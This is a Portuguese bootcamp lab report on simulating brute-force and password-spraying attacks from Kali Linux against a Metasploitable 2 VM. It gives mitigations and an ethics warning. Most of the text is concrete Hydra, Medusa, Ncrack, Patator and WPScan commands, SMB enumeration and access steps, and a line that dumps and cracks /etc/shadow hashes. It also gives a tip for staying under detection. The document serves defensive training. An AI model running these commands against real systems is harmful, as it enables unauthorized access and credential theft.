PROJETO: Simulação de Ataques de Força Bruta e Password Spraying em Ambiente Controlado com Kali Linux e Metasploitable 2

Carlos Roberto de Araujo
Bootcamp Santander Cibersegurança - DIO
28/10/2026

1. Introdução e Objetivo

Este projeto tem como objetivo demonstrar, em ambiente 100% controlado e ético, como funcionam ataques de força bruta, password spraying e credential stuffing. Utilizando Kali Linux como atacante e Metasploitable 2 como vítima, o projeto simula cenários reais de invasão para entender vulnerabilidades e propor mitigações.
Objetivo: Consolidar conhecimento nas ferramentas Hydra, Ncrack, John the Ripper, WPScan, Patator e Medusa.

2. Principais Tipos de Ataques

- Força Bruta (Brute Force): Tentativa de todas as combinações possíveis contra um único usuário.
- Password Spraying: Inverso, testa poucas senhas comuns contra muitos usuários, evitando bloqueio.
- Credential Stuffing: Usa credenciais vazadas de outros sites.
O projeto foca nos dois primeiros, mais comuns em auditorias internas.

3. Ambiente de Laboratório - Kali Linux e Metasploitable 2

Configuração:
- VirtualBox com rede Host-Only ou NAT Network
- Kali Linux 2024.x (atacante) - IP ex: 192.168.56.102
- Metasploitable 2 (vítima) - IP ex: 192.168.56.101
- Descoberta: nmap -sV -p- 192.168.56.0/24
- Validação: ping e checagem de serviços (ftp, ssh, http, smb)

AVISO ÉTICO: Nunca usar fora deste laboratório.

4. Criação de Wordlists e Arquivos de Usuários/Senhas

Arquivos criados:
- users.txt: admin, administrator, msfadmin, user, guest
- senhas.txt: 123456, password, msfadmin, admin, 12345

Comandos:
crunch 6 6 0123456789 -o senhas_numericas.txt
cewl http://192.168.56.101 -w cewl_wordlist.txt
Local padrão Kali: /usr/share/wordlists/rockyou.txt
- Kali vem com rockyou.txt.gz, descompactar com gunzip

5. Ferramentas Práticas no Kali Linux

5.1 Hydra no Kali Linux:
Rápido e versátil para múltiplos protocolos.
Ex: hydra -L users.txt -P senhas.txt ftp://192.168.56.101
Ex Web: hydra -L users.txt -P senhas.txt 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^:Login failed"

5.2 Ncrack no Kali Linux:
Focado em rede, otimizado por tempo.
Ex: ncrack -U users.txt -P senhas.txt 192.168.56.101:22

5.3 John no Kali Linux (John the Ripper):
Quebra hashes. Ex: unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

5.4 WPScan no Kali Linux:
Enumera WordPress e força bruta em usuários.
Ex: wpscan --url http://192.168.56.101/wordpress -e u
Ex: wpscan --url http://192.168.56.101/wordpress -U users.txt -P senhas.txt

5.5 Patator no Kali Linux:
Flexível, modular.
Ex: patator ftp_login host=192.168.56.101 user=FILE0 password=FILE1 0=users.txt 1=senhas.txt

5.6 Medusa no Kali Linux:
Similar ao Hydra, bom para simular combinações.
Ex: medusa -h 192.168.56.101 -U users.txt -P senhas.txt -M ftp

6. Ataques de Força Bruta em Formulários de Login Web

Ambiente: DVWA no Metasploitable 2 (http://192.168.56.101/dvwa)
Etapas:
1. Configurar DVWA security = low
2. Interceptar com Burp para ver parâmetros
3. Hydra http-post-form
4. Wordlist customizada com Cewl a partir do site
Resultado esperado: descoberta de admin:password

7. Ataque em Cadeia: Enumeração SMB e Password Spraying

Passo 1 - Enumeração: enum4linux -a 192.168.56.101
smbclient -L //192.168.56.101 -N

smbmap -H 192.168.56.101 -u guest

Passo 2 - Password Spraying: Após listar usuários (msfadmin, user, etc.), usar uma senha comum contra todos.
medusa -h 192.168.56.101 -U users_enum.txt -p msfadmin -M smbnt

8. Simulando Cenário Corporativo Mal Configurado

Cenário: Empresa sem bloqueio por tentativas e compartilhamentos SMB abertos.
- Criando Lista de Usuários: a partir de enumeração SMB ou RID brute: netexec smb 192.168.56.101 --users
- Testando Acesso com Smbclient: smbclient //192.168.56.101/tmp -U msfadmin%msfadmin
Se acesso concedido, listar arquivos: ls, get arquivo.txt
Isso demonstra impacto de credenciais fracas.

9. Mitigações e Boas Práticas

- Implementar MFA/2FA
- Política de bloqueio após 5 tentativas falhas
- Senhas com 14+ caracteres, sem padrão
- Monitoramento com SIEM (logs de falha)
- Desativar SMBv1, restringir enumeração anônima
- WPScan: proteger wp-login.php com WAF e limitar tentativas

10. Aula Extra: Limitações do Medusa e Dicas Finais

Medusa: menos protocolos que Hydra, saída mais verbosa, pode falhar com timeout em redes lentas. Dica: usar -t 1 (threads) para evitar detecção e -f para parar no primeiro sucesso.
Dicas gerais: Sempre documentar comandos, usar -vV para verbose, salvar saída com -o.

11. Encerramento e Conclusão

O projeto comprovou que, mesmo com ferramentas simples, credenciais fracas permitem invasão total do Metasploitable 2. O aprendizado central não é atacar, mas defender: entender o método do atacante permite criar controles eficazes. O uso ético em laboratório controlado é fundamental para formação em cibersegurança defensiva.